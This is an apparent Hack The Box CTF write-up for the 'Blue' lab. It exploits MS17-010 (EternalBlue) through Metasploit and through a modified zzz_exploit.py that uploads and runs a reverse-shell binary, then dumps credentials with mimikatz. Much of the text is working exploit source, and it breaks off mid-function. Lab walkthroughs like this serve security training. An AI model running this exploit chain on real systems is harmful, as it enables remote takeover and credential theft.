Today we are going to solve another CTF challenge “Blue” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Blue lab.
Level: Beginners
Task: find user.txt and root.txt file in victim’s machine.
Since these labs are online available therefore they have static IP and IP of blue is 10.10.10.40 so let’s begin with nmap port enumeration.
root@kali:~/htb/blue# nmap -sC -sC 10.10.10.40 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 21:19 CET Nmap scan report for 10.10.10.40 Host is up (0.053s latency). Not shown: 991 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown Host script results: |_clock-skew: mean: -3m45s, deviation: 1s, median: -3m46s | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: haris-PC | NetBIOS computer name: HARIS-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2019-02-15T20:16:20+00:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-02-15 21:16:21 |_ start_date: 2019-02-11 03:48:32 Nmap done: 1 IP address (1 host up) scanned in 35.19 seconds
Great!! Form this result I can conclude username can be “haris” moreover smb 2.02 can be exploit by eternal blue vulnerability.
Let confirm eternal blue vulnerability in victims system using namp script
root@kali:~/htb/blue# nmap --script vuln -p445 10.10.10.40 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 21:20 CET Nmap scan report for 10.10.10.40 Host is up (0.041s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx Nmap done: 1 IP address (1 host up) scanned in 44.83 seconds
Then I run msfconsole command in terminal and load metasploit framework for using eternal blue module for exploiting target machine.
msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40 rhost => 10.10.10.40 msf exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 10.10.14.11:4444 [*] 10.10.10.40:445 - Connecting to target for exploitation. [+] 10.10.10.40:445 - Connection established for exploitation. [+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes) [*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.10.40:445 - Sending all but last fragment of exploit packet [*] 10.10.10.40:445 - Starting non-paged pool grooming [+] 10.10.10.40:445 - Sending SMBv2 buffers [+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.10.40:445 - Sending final SMBv2 buffers. [*] 10.10.10.40:445 - Sending last fragment of exploit packet! [*] 10.10.10.40:445 - Receiving response from exploit packet [+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.10.40:445 - Sending egg to corrupted connection. [*] 10.10.10.40:445 - Triggering free of corrupted buffer. [*] Command shell session 1 opened (10.10.14.11:4444 -> 10.10.10.40:49159) at 2019-02-15 21:24:30 +0100 [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= C:\Windows\system32>whoami whoami nt authority\system
Inside c:\Users\Administrator \Desktop I found root.txt file.
meterpreter > load kiwi Loading extension kiwi… .#####. mimikatz 2.1.1 20170608 (x64/windows) .## ^ ##. “A La Vie, A L’Amour” ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo) ‘#####’ Ported to Metasploit by OJ Reeves `TheColonial` * * */ Success. meterpreter > creds_all [+] Running as SYSTEM [*] Retrieving all credentials wdigest credentials =================== Username Domain Password ——– —— ——– (null) (null) (null) HARIS-PC$ WORKGROUP (null)
Manual
Exploit: https://github.com/worawit/MS17-010
A shell can also be achieved using the above PoC. Modifying zzz_exploit.py is relatively easy.
Using \ \ as the username works in this case, as the server is using the default configuration.
A slight modification to the smb_pwn method is also required, as by default it only creates a text
file in the root of the drive. Adding the following lines will copy a local binary to the target and
execute it.
Before we can perform this exploit, we need an open SMB share on this machine. First, we need to add the computer name in our host file and then scan for open SMB shares.
vi /etc/hosts
root@kali:~/htb/blue# smbclient -L \\10.10.10.40 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Share Disk Users Disk Reconnecting with SMB1 for workgroup listing. Connection to 10.10.10.40 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Failed to connect with SMB1 -- no workgroup available
root@kali:~/htb/blue# smbclient \\\\10.10.10.40\\Users Enter WORKGROUP\root's password: Try "help" to get a list of possible commands. smb: \> dir . DR 0 Fri Jul 21 08:56:23 2017 .. DR 0 Fri Jul 21 08:56:23 2017 Default DHR 0 Tue Jul 14 09:07:31 2009 desktop.ini AHS 174 Tue Jul 14 06:54:24 2009 Public DR 0 Tue Apr 12 09:51:29 2011 8362495 blocks of size 4096. 3752286 blocks available smb: \>
We were able to find open SMB shares, and we need to verify that we have access to the shares. We can use smbclient to connect leaving the password blank.
The binary (nc reverse shell) can be generated by C# using the command
c:\PENTEST>c:\windows\Microsoft.NET\Framework\v3.5\csc.exe /t:exe /out:puckieshell443.exe puckieshell443.cs Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.8931 for Microsoft (R) .NET Framework version 3.5 Copyright (C) Microsoft Corporation. All rights reserved. puckieshell443.cs(64,34): warning CS0168: The variable 'err' is declared but never used
Exploit Modification
USERNAME = '//' PASSWORD = ''
Editing user config
We need to modify the python script in the username field. As we saw in a previous step we could connect as guest with no password however to do this we need to put in // for guest authentication.
next add the following 2 lines to below def smb
smb_send_file(smbConn, '/root/htb/blue/puckieshell443.exe', 'C', '/puckieshell443.exe') service_exec(conn, r'cmd /c c:\\puckieshell443.exe')
root@kali:/opt/MS17-010# cat zzz_exploit.py
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
'''
MS17-010 exploit for Windows 2000 and later by sleepya
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''
USERNAME = '//'
PASSWORD = ''
'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it
Note: method name is from NSA eternalromance
For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
of this method is we cannot do information leak to verify transactions alignment before OOB write.
So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
'''
'''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
PACCESS_TOKEN Token; // 0x08
DWORD xx2;
BOOLEAN CopyOnOpen; // 0x14
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x18
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
QWORD xx2;
QWORD xx3;
PACCESS_TOKEN Token; // 0x18
DWORD xx4;
BOOLEAN CopyOnOpen; // 0x24
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x28
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x30
}
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
ImpersonateSecurityContext() is used in these Windows versions.
'''
###########################
# info for modify session security context
###########################
WIN7_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28,
}
WIN7_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x80,
'SESSION_ISNULL_OFFSET': 0x96,
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x1c,
}
# win8+ info
WIN8_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38,
}
WIN8_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x88,
'SESSION_ISNULL_OFFSET': 0x9e,
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x24,
}
# win 2003 (xp 64 bit is win 2003)
WIN2K3_64_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0xba,
'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
WIN2K3_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x96,
'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
# win xp
WINXP_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
}
WIN2K_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
}
###########################
# info for exploitation
###########################
# for windows 2008+
WIN7_32_TRANS_INFO = {
'TRANS_SIZE' : 0xa0, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x40,
'TRANS_OUTPARAM_OFFSET' : 0x44,
'TRANS_INDATA_OFFSET' : 0x48,
'TRANS_OUTDATA_OFFSET' : 0x4c,
'TRANS_PARAMCNT_OFFSET' : 0x58,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
'TRANS_FUNCTION_OFFSET' : 0x72,
'TRANS_MID_OFFSET' : 0x80,
}
WIN7_64_TRANS_INFO = {
'TRANS_SIZE' : 0xf8, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x70,
'TRANS_OUTPARAM_OFFSET' : 0x78,
'TRANS_INDATA_OFFSET' : 0x80,
'TRANS_OUTDATA_OFFSET' : 0x88,
'TRANS_PARAMCNT_OFFSET' : 0x98,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
'TRANS_FUNCTION_OFFSET' : 0xb2,
'TRANS_MID_OFFSET' : 0xc0,
}
WIN5_32_TRANS_INFO = {
'TRANS_SIZE' : 0x98, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x3c,
'TRANS_OUTPARAM_OFFSET' : 0x40,
'TRANS_INDATA_OFFSET' : 0x44,
'TRANS_OUTDATA_OFFSET' : 0x48,
'TRANS_PARAMCNT_OFFSET' : 0x54,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
'TRANS_FUNCTION_OFFSET' : 0x6e,
'TRANS_PID_OFFSET' : 0x78,
'TRANS_MID_OFFSET' : 0x7c,
}
WIN5_64_TRANS_INFO = {
'TRANS_SIZE' : 0xe0, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x68,
'TRANS_OUTPARAM_OFFSET' : 0x70,
'TRANS_INDATA_OFFSET' : 0x78,
'TRANS_OUTDATA_OFFSET' : 0x80,
'TRANS_PARAMCNT_OFFSET' : 0x90,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
'TRANS_FUNCTION_OFFSET' : 0xaa,
'TRANS_PID_OFFSET' : 0xb4,
'TRANS_MID_OFFSET' : 0xb8,
}
X86_INFO = {
'ARCH' : 'x86',
'PTR_SIZE' : 4,
'PTR_FMT' : 'I',
'FRAG_TAG_OFFSET' : 12,
'POOL_ALIGN' : 8,
'SRV_BUFHDR_SIZE' : 8,
}
X64_INFO = {
'ARCH' : 'x64',
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
}
def merge_dicts(*dict_args):
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
},
# for Windows 8 and later
'WIN8': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
},
'WINXP': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K3': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
},
}
TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8 # heap chunk header size
def calc_alloc_size(size, align_size):
return (size + align_size - 1) & ~(align_size-1)
def wait_for_request_processed(conn):
#time.sleep(0.05)
# send echo is faster than sleep(0.05) when connection is very good
conn.send_echo('a')
def find_named_pipe(conn):
pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
found_pipe = None
for pipe in pipes:
try:
fid = conn.nt_create_andx(tid, pipe)
conn.close(tid, fid)
found_pipe = pipe
break
except smb.SessionError as e:
pass
conn.disconnect_tree(tid)
return found_pipe
special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
global extra_last_mid, special_mid
special_mid = (conn.next_mid() & 0xff00) - 0x100
extra_last_mid = special_mid
def next_extra_mid():
global extra_last_mid
extra_last_mid += 1
return extra_last_mid
# Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE includes transaction name, parameters and data
# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
GROOM_TRANS_SIZE = 0x5010
def leak_frag_size(conn, tid, fid):
# this method can be used on Windows Vista/2008 and later
# leak "Frag" pool size and determine target architecture
info = {}
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too.
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
# Detect target architecture and calculate frag pool size
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 32 bit')
info['arch'] = 'x86'
info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 64 bit')
info['arch'] = 'x64'
info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
else:
print('Not found Frag pool tag in leak data')
sys.exit()
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
return info
def read_data(conn, info, read_addr, read_size):
fmt = info['PTR_FMT']
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
# finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
# set new trans2 address
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
# set trans1.InData to &trans2
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# modify trans2 mid
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
return read_data[8:] # no need to return parameter
def write_data(conn, info, write_addr, write_data):
# trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
trans_param = pack('<HH', fid, 0) # param for NT_RENAME
# fill large pagedpool holes (maybe no need)
for i in range(numFill):
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
mid_ntrename = conn.next_mid()
# first GROOM, for leaking next BRIDE transaction
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
# second GROOM, for controlling next BRIDE transaction
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
reqs = []
for i in range(12):
mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
# expected transactions alignment ("Frag" pool is not shown)
#
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
# +-------------------------------+----------------+-------------------------------+----------------+
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
# +-------------------------------+----------------+-------------------------------+----------------+
#
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
# From leaked transaction, we get
# - leaked transaction address from InParameter or InData
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
# With these information, we can verify the transaction aligment from displacement.
leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
#open('leak.dat', 'wb').write(leakData)
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
print('Not found Frag pool tag in leak data')
return None
# ================================
# verify leak data
# ================================
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
# check pool tag and size value in buffer header
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
print('No transaction struct in leak data')
return None
leakTrans = leakData[leakTransOffset:]
ptrf = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InParam: 0x{:x}'.format(inparam_value))
print('MID: 0x{:x}'.format(leak_mid))
next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
return None
# trans1: leak transaction
# trans2: next transaction
return {
'connection': connection_addr,
'session': session_addr,
'next_page_addr': next_page_addr,
'trans1_mid': leak_mid,
'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
}
def exploit_matched_pairs(conn, pipe_name, info):
# for Windows 7/2008 R2 and later
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info.update(leak_frag_size(conn, tid, fid))
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
# groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
# groom paramters and data is alignment by 8 because it is NT_TRANS
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4)
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# bride paramters and data is alignment by 4 because it is TRANS
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
# ================================
# try align pagedpool and leak info until satisfy
# ================================
leakInfo = None
# max attempt: 10
for i in range(10):
reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid, info)
if leakInfo is not None:
break
print('leak failed... try again')
conn.close(tid, fid)
conn.disconnect_tree(tid)
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
if leakInfo is None:
return False
info['fid'] = fid
info.update(leakInfo)
# ================================
# shift transGroom.Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
# maxParameterCount (0x1000), trans name (4), param (4)
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
